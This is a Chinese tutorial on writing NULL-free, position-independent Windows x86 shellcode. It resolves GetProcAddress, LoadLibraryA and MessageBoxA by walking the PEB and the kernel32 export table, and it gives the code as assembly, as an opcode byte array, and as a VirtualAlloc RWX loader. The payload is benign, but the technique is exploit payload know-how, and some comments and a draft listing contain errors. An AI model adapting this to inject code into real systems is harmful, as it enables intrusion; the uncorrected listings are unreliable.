1)不能使用字符串的直接偏移
即使你在C/C++代码中定义一个全局变量,一个取值为“Hello world”的字符串,
或直接把该字符串作为参数传递给某个函数。
但是,编译器会把字符串放置在一个特定的Section中(如.rdata或.data)。
2)不能确定函数的地址(如printf)
在shellcode中,我们却不能以逸待劳了。
因为我们无法确定包含所需函数的DLL文件是否已经加载到内存。
受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载到相同地址上。
而且DLL文件可能随着Windows每次新发布的更新而发生变化,所以我们不能依赖DLL文件中某个特定的偏移。
我们需要把DLL文件加载到内存,然后直接通过shellcode查找所需要的函数。
幸运的是,Windows API为我们提供了两个函数:LoadLibrary和GetProcAddress。我们可以使用这两个函数来查找函数的地址。
3)必须避免一些特定字符(如NULL字节)
空字节(NULL)的取值为:0×00。在C/C++代码中,空字节被认为是字符串的结束符。
正因如此,shellcode存在空字节可能会扰乱目标应用程序的功能,而我们的shellcode也可能无法正确地复制到内存中。
虽然不是强制的,但类似利用strcpy()函数触发缓冲区溢出的漏洞是非常常见的情况。该函数会逐字节拷贝字符串,直至遇到空字节。
因此,如果shellcode包含空字节,strcpy函数便会在空字节处终止拷贝操作,引发栈上的shellcode不完整。
正如你所料,shellcode当然也不会正常的运行。
例如MOV EAX,0; XOR EAX,EAX; 两条指令从功能上来说是等价的,但你可以清楚地看到第一条指令包含空字节,而第二条指令却包含空字节。
虽然空字节在编译后的代码中非常常见,但是我们可以很容易地避免。还有,在一些特殊情况下,shellcode必须避免出现类似\r或\n的字符,甚至只能使用字母数
1)获取kernel32.dll 基地址;
2)定位 GetProcAddress函数的地址;
3)使用GetProcAddress确定 LoadLibrary函数的地址;
4)然后使用 LoadLibrary加载DLL文件(例如user32.dll);
5)使用 GetProcAddress查找某个函数的地址(例如MessageBox);6)指定函数参数;
7)调用函数。
PEB是一个位于所有进程内存中固定位置的结构体。此结构体包含关于进程的有用信息,如可执行文件加载到内存的位置,模块列表(DLL),指示进程是否被调试的标志,还有许多其他的信息。
它可能随着新的Windows发行版发生改变。
ASLR:
地址空间布局随机 机制的影响,系统不会每次都把DLL文件加载到相同地址上。而且,DLL文件可能随着Windows每次新发布的更新而发生变化,所以我们不能依赖DLL文件中某个特定的偏移。
PEB:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
PEB_LDR_DATA:
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
LIST_ENTRY结构是一个简单的双向链表,包含指向下一个元素(Flink)的指针和指向上一个元素的指针(Blink),其中每个指针占用4个字节:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DeX3nRoE-1625194912483)(en-resource://database/554:1)]
2.1 读取PEB结构
mov eax,fs:[0x30]
2.2 读取_LDR_DATA结构
mov eax,[eax+0xc]
2.3读取_PEB_LDR_DATA下InMemoryOrderModuleList
2.4 LISt_ENTRT是一个链表Flink
第三个是Kernel.dll
mov esi,[eax+0x14]
2.5 LIST_ENTRT指针是可以是_LDR_DATA_TABLE_ENTRY结构(该结构未被公开)该结构DllBase 0x18位置是dll加载位置,现在需要将LIST_ENTRY链表Fink移动到Kernel.dll
1 Fink exe本身内存位置
2 Fink ntdll.dll内存位置
3 Fink Kernel.dll内存位置
lodsd; eax <- esi , (esi +0x4 ntdll.dll) esi=exe内存位置
xchg eax,esi; esi eax互换 ntdll.dll下一个
lodsd; Kernle32.dll
mov ebx,[eax+0x10]; _LDR_DATA_TABLE_ENTRY 结构下DllBase属性即模块RVA地址
Kernel PE通过DOS头到NT映像头
mov edx,[ebx+0x3c]
找到Kernel NT映像头
add edx,ebx
在NT映像头中找到_IMAGE_DATA_DIRECTORY0x78,可选文件头偏移是0x60
mov edx,[edx+0x78]
add edx,ebx edx=export table
_IMAGE_DATA_DIRECTORY偏移0x20导出函数表RVA
mov esi,[edx+0x20]
add esi,ebx ebx Kernle内存地址+esi 偏移
xor ecx ecx
Get_Function: 标志
inc ecx ecx自增1用于记录当前函数地址的序号
lodsd eax <- esi <- (esi=esi+0x4)
add eax,ebx eax=第一个导出函数名称
cmp dword ptr [eax],0x50746547 ; GetP 判断开头是不是要找的
jnz Get_Function
cmp dword ptr[eax+0x4],0x41636f72; rocA
jnz Get_Function
cmp dword ptr [eax+0x8],0x65726464; ddre
jnz Get_Function
AddressOfNameOrdlnals
mov esi,[edx+0x24] 导出函数序号RVA
add esi,ebx kernel 导出函数RVA
mov cx,[esi+ecx*2] 导出函数序号表RVA是一个 word大小的数组因此ecx*2 找到导出函数序号表RVA GetProcAddress函数地址
dec ecx 因为是数组所以减一
AddressOfFunction
mov esi,[edx+0x1c] esi=导出函数地址表
add esi,ebx 内存kernel 中导出函数地址表RVA
mov edx,[esi+ecx*4]通过序号ecx找到GetProcAddress
add edx,ebx 找到kernel中GetProcAddress 地址
xor ecx,ecx
push ebx Kernel32 base Address
push edx GetProcAddress
push ecx 0
push 0x41797261 arryA
push 0x7262694c Libr
push 0x64616f4c Load
push esp
push ebx
call edx
add esp,0xc 落栈
pop ecx
push eax LoadLibraryA Address
push ecx
mov cx,0x6c6c6 ; ll
push ecx
push 0x642e3233; 32.d
push 0x72657375
push esp
call eax
add esp,0x10 落栈
mov edx,[esp+0x4] GetProcAddress
xor ecx ecx
push ecx
mov ecx,0x6141786F oxAa
push ecx 结束符
sub dword ptr[esp+0x3],0x61 将a填充删除
push 0x42656761 ageB
push 0x7373654D Mess
push esp MessageBoxA
push eax user32.dll address
call edx GetPorcAddress(user32.dll ,MessageBoxA)
add esp,0x10 落栈 _cdecl调用
xor ecx,ecx
push 61616161
sub dword ptr[esp],0x61
sub dword ptr[esp+0x1],0x61
sub dword ptr[esp+0x2],0x61
sub dword ptr[esp+0x3],0x61 等价于 mov [esp+0x4],0x0但是shellcode不能有0出现
push 0x7559676E ngYu
push 0x6550694C LiPe
push edi
lea edi,[esp+0x4]
push ecx
push ecx
push edi
push ecx
call eax MessageBoxA
pop edi
add esp,0x10 _cdecl
pop edx
pop ebx
mov ecx,0x61737365 essa
push ecx
sub dowrd ptr [esp+0x3],0x61
push 0x636f7250
push 0x74697845
push esp
push ebx;kernle32.dll Address
call edx;GetProcAddress(ExitProcess)
xor ecx,ecx
push ecx
call eax 结束ShellCode
void ShellCodeMessageBoxW() {
__asm {
nop
nop
nop
nop
nop
nop
nop
nop
xor ecx, ecx
mov eax, fs: [ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc]; EAX = PEB->Ldr
mov esi, [eax + 0x14]; ESI = PEB->Ldr.InMemOrder
lodsd; EAX = Second module
xchg eax, esi; EAX = ESI, ESI = EAX
lodsd; EAX = Third(kernel32)
mov ebx, [eax + 0x10]; EBX = Base address
mov edx, [ebx + 0x3c]; EDX = DOS->e_lfanew
add edx, ebx; EDX = PE Header
mov edx, [edx + 0x78]; EDX = Offset export table
add edx, ebx; EDX = Export table
mov esi, [edx + 0x20]; ESI = Offset namestable
add esi, ebx; ESI = Names table
xor ecx, ecx; EXC = 0
Get_Function:
inc ecx; Increment the ordinal
lodsd; Get name offset
add eax, ebx; Get function name
cmp dword ptr[eax], 0x50746547; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464; ddre
jnz Get_Function
mov esi, [edx + 0x24]; ESI = Offset ordinals
add esi, ebx; ESI = Ordinals table
mov cx, [esi + ecx * 2]; Number of function
dec ecx
mov esi, [edx + 0x1c]; Offset address table
add esi, ebx; ESI = Address table
mov edx, [esi + ecx * 4]; EDX = Pointer(offset)
add edx, ebx; EDX = GetProcAddress
xor ecx, ecx; ECX = 0
push ebx; Kernel32 base address
push edx; GetProcAddress
push ecx; 0
push 0x41797261; aryA
push 0x7262694c; Libr
push 0x64616f4c; Load
push esp; "LoadLibrary"
push ebx; Kernel32 base address
call edx; GetProcAddress(LL)
add esp, 0xc; pop "LoadLibrary"
pop ecx; ECX = 0
push eax; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c; ll
push ecx
push 0x642e3233; 32.d
push 0x72657375; user
push esp; "user32.dll"
call eax; LoadLibrary("user32.dll")
add esp, 0x10; Clean stack
mov edx, [esp + 0x4]; EDX = GetProcAddress
xor ecx, ecx; ECX = 0
push ecx
mov ecx, 0x6141786F; oxWa MessageBoxA
push ecx
sub dword ptr[esp + 0x3], 0x61
push 0x42656761; eBut ageB
push 0x7373654D; Mous Mess
push esp; "MessageBoxW"
push eax; user32.dll address
call edx; GetProc(MessageBoxA)
add esp, 0x10; Cleanup stack
xor ecx, ecx; ECX = 0
push 0x61616161
sub dword ptr[esp], 0x61
sub dword ptr[esp + 0x1], 0x61
sub dword ptr[esp + 0x2], 0x61
sub dword ptr[esp + 0x3], 0x61
push 0x7559676E; ngYu
push 0x6550694C; LiPe
push edi
lea edi,[esp+0x4]
push ecx;
push ecx;
push edi;
push ecx;
call eax; Mess!
pop edi;
add esp, 0x10; Clean stack
pop edx; GetProcAddress
pop ebx; kernel32.dll base address
mov ecx, 0x61737365; essa
push ecx
sub dword ptr[esp + 0x3], 0x61; Remove "a"
push 0x636f7250; Proc
push 0x74697845; Exit
push esp
push ebx; kernel32.dll base address
call edx; GetProc(Exec)
xor ecx, ecx; ECX = 0
push ecx; Return code = 0
call eax; ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
}
}
char shellcode[] = {
0x33, 0xC9,
0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B,
0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B, 0x58, 0x10,
0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78,
0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03, 0xF3, 0x33,
0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47,
0x65, 0x74, 0x50, 0x75, 0xF4, 0x81, 0x78, 0x04,
0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78,
0x08, 0x64, 0x64, 0x72, 0x65, 0x75, 0xE2, 0x8B,
0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E,
0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3, 0x8B, 0x14,
0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51,
0x68, 0x61, 0x72, 0x79, 0x41, 0x68, 0x4C, 0x69,
0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54,
0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C, 0x59, 0x50,
0x51, 0x66, 0xB9, 0x6C, 0x6C, 0x51, 0x68, 0x33,
0x32, 0x2E, 0x64, 0x68, 0x75, 0x73, 0x65, 0x72,
0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x8B, 0x54,
0x24, 0x04, 0x33, 0xC9, 0x51, 0xB9, 0x6F, 0x78,
0x41, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61,
0x68, 0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65,
0x73, 0x73, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4,
0x10, 0x33, 0xC9, 0x68, 0x61, 0x61, 0x61, 0x61,
0x83, 0x2C, 0x24, 0x61, 0x83, 0x6C, 0x24, 0x01,
0x61, 0x83, 0x6C, 0x24, 0x02, 0x61, 0x83, 0x6C,
0x24, 0x03, 0x61, 0x68, 0x6E, 0x67, 0x59, 0x75,
0x68, 0x4C, 0x69, 0x50, 0x65, 0x57, 0x8D, 0x7C,
0x24, 0x04, 0x51, 0x51, 0x57, 0x51, 0xFF, 0xD0,
0x5F, 0x83, 0xC4, 0x10, 0x5A, 0x5B, 0xB9, 0x65,
0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03,
0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45,
0x78, 0x69, 0x74, 0x54, 0x53, 0xFF, 0xD2, 0x33,
0xC9, 0x51, 0xFF, 0xD0
};
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();